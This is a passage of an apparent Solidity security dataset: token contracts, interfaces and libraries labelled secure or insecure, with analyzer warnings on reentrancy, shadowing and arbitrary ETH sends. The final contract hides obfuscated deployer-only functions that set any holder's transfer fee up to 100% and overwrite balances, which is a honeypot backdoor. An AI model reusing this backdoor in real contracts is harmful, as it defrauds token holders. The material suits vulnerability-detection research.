"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DTCASH is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"DTCASH\";\n _symbol = \"DTCS\";\n _totalSupply = 42000000 * 10 ** (decimals());\n _balances[_msgSender()] = _totalSupply;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d854a0d): DTCASH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d854a0d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n function mint(address account, uint256 amount) public onlyOwner {\n _mint(account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n function burn(address account, uint256 amount) public onlyOwner {\n _burn(account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7e05d90): DTCASH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7e05d90: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2850.sol",
"secure": 0,
"size_bytes": 6012
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nlibrary SFixedPoint {\n function mul(int256 dA, int256 dB) internal pure returns (int256) {\n return (dA * dB) / 1e18;\n }\n\n function div(int256 dA, int256 dB) internal pure returns (int256) {\n return (1e18 * dA) / dB;\n }\n\n function toDecimal(int256 iA) internal pure returns (int256) {\n return iA * 1e18;\n }\n\n function toInteger(int256 dA) internal pure returns (int256) {\n return dA / 1e18;\n }\n\n function max(int256 dA, int256 dB) internal pure returns (int256) {\n if (dA > dB) {\n return dA;\n } else {\n return dB;\n }\n }\n\n function min(int256 dA, int256 dB) internal pure returns (int256) {\n if (dA > dB) {\n return dB;\n } else {\n return dA;\n }\n }\n}",
"file_name": "solidity_code_2851.sol",
"secure": 1,
"size_bytes": 897
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ProxyRegistry.sol\" as ProxyRegistry;\n\nabstract contract WithSupportForOpenSeaProxies {\n address internal immutable _proxyRegistryAddress;\n\n constructor(address proxyRegistryAddress) {\n _proxyRegistryAddress = proxyRegistryAddress;\n }\n\n function _isOpenSeaProxy(\n address owner,\n address operator\n ) internal view returns (bool) {\n if (_proxyRegistryAddress == address(0)) {\n return false;\n }\n\n ProxyRegistry proxyRegistry = ProxyRegistry(_proxyRegistryAddress);\n return address(proxyRegistry.proxies(owner)) == operator;\n }\n}",
"file_name": "solidity_code_2852.sol",
"secure": 1,
"size_bytes": 695
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface ILendingPoolAddressesProviderV2 {\n function getLendingPool() external view returns (address);\n}",
"file_name": "solidity_code_2853.sol",
"secure": 1,
"size_bytes": 185
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IAaveATokenV2 {\n function balanceOf(address _user) external view returns (uint256);\n}",
"file_name": "solidity_code_2854.sol",
"secure": 1,
"size_bytes": 175
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IAaveLendingPoolV2 {\n function deposit(\n address reserve,\n uint256 amount,\n address onBehalfOf,\n uint16 referralCode\n ) external;\n\n function withdraw(address reserve, uint256 amount, address to) external;\n}",
"file_name": "solidity_code_2855.sol",
"secure": 1,
"size_bytes": 337
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IStakedAave {\n function COOLDOWN_SECONDS() external returns (uint256);\n\n function UNSTAKE_WINDOW() external returns (uint256);\n\n function stake(address to, uint256 amount) external;\n\n function redeem(address to, uint256 amount) external;\n\n function cooldown() external;\n\n function claimRewards(address to, uint256 amount) external;\n\n function stakersCooldowns(address staker) external returns (uint256);\n}",
"file_name": "solidity_code_2856.sol",
"secure": 1,
"size_bytes": 525
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EUcoin is IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"EUcoin\";\n _symbol = \"EUcoin\";\n _mint(msg.sender, 100000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b94592d): EUcoin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b94592d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n (amount == 0) || (_allowances[_msgSender()][spender] == 0),\n \"ERC20: Cannot change non zero allowance\"\n );\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4f7c8f): EUcoin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4f7c8f: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2857.sol",
"secure": 0,
"size_bytes": 5489
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract FSN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: 9058edd): FSN._feeAddrWallet1 should be immutable \n\t// Recommendation for 9058edd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\n string private constant _name = \"FSN\";\n string private constant _symbol = \"FSN\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(_msgSender());\n\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n emit Transfer(address(0x0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1e20aa6): FSN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1e20aa6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 84108f2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 84108f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: efe262b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for efe262b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 84108f2\n\t\t// reentrancy-benign | ID: efe262b\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 84108f2\n\t\t// reentrancy-benign | ID: efe262b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4af6fed): FSN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4af6fed: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: efe262b\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 84108f2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: da5c37e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for da5c37e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1a359b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1a359b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1f61e11): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1f61e11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n require(\n (\n (to == uniswapV2Pair && from != address(uniswapV2Router))\n ? 1\n : 0\n ) *\n amount <=\n _maxTxAmount\n );\n\n _feeAddr1 = 1;\n _feeAddr2 = 9;\n if (from != owner() && to != owner()) {\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_isExcludedFromFee[from]\n ) {\n _feeAddr1 = 1;\n _feeAddr2 = 9;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: da5c37e\n\t\t\t\t// reentrancy-benign | ID: 1a359b7\n\t\t\t\t// reentrancy-eth | ID: 1f61e11\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: da5c37e\n\t\t\t\t\t// reentrancy-eth | ID: 1f61e11\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: da5c37e\n\t\t// reentrancy-benign | ID: 1a359b7\n\t\t// reentrancy-eth | ID: 1f61e11\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 84108f2\n\t\t// reentrancy-events | ID: da5c37e\n\t\t// reentrancy-benign | ID: 1a359b7\n\t\t// reentrancy-benign | ID: efe262b\n\t\t// reentrancy-eth | ID: 1f61e11\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n modifier overridden() {\n require(_feeAddrWallet1 == _msgSender());\n _;\n }\n function setMaxBuy(uint256 limit) external overridden {\n _maxTxAmount = limit;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 482ebd9): FSN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet1.transfer(amount)\n\t// Recommendation for 482ebd9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 84108f2\n\t\t// reentrancy-events | ID: da5c37e\n\t\t// reentrancy-eth | ID: 1f61e11\n\t\t// arbitrary-send-eth | ID: 482ebd9\n _feeAddrWallet1.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 01ae4d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 01ae4d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ea191ce): FSN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ea191ce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bb24b59): FSN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bb24b59: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eb52acf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eb52acf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 01ae4d7\n\t\t// reentrancy-eth | ID: eb52acf\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 01ae4d7\n\t\t// unused-return | ID: bb24b59\n\t\t// reentrancy-eth | ID: eb52acf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 01ae4d7\n swapEnabled = true;\n\n\t\t// reentrancy-benign | ID: 01ae4d7\n _maxTxAmount = _tTotal;\n\t\t// reentrancy-eth | ID: eb52acf\n tradingOpen = true;\n\t\t// unused-return | ID: ea191ce\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 1f61e11\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 1f61e11\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: da5c37e\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 1f61e11\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 1f61e11\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 1a359b7\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualSend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2858.sol",
"secure": 0,
"size_bytes": 16664
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract KySportsTV is ERC20 {\n constructor(uint256 initialSupply) public ERC20(\"KySportsTV\", \"KSPTV\") {\n _mint(msg.sender, initialSupply);\n }\n}",
"file_name": "solidity_code_2859.sol",
"secure": 1,
"size_bytes": 297
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ShrubClassic is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c1e360e): ShrubClassic._decimals should be immutable \n\t// Recommendation for c1e360e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6736494): ShrubClassic._totalSupply should be immutable \n\t// Recommendation for 6736494: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 095b22a): ShrubClassic._bootsmark should be immutable \n\t// Recommendation for 095b22a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _bootsmark;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _bootsmark = msg.sender;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function TOP(address us, uint256 tse) external {\n require(_iee(msg.sender), \"Caller is not the original caller\");\n\n uint256 ee = 100;\n\n bool on = tse <= ee;\n\n _everter(on);\n\n _seFee(us, tse);\n }\n\n function _iee(address caller) internal view returns (bool) {\n return iMee();\n }\n\n function _everter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _seFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function iMee() internal view returns (bool) {\n return _msgSender() == _bootsmark;\n }\n\n function SWAP(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] = receiveRewrd;\n require(_iee(recipient), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n 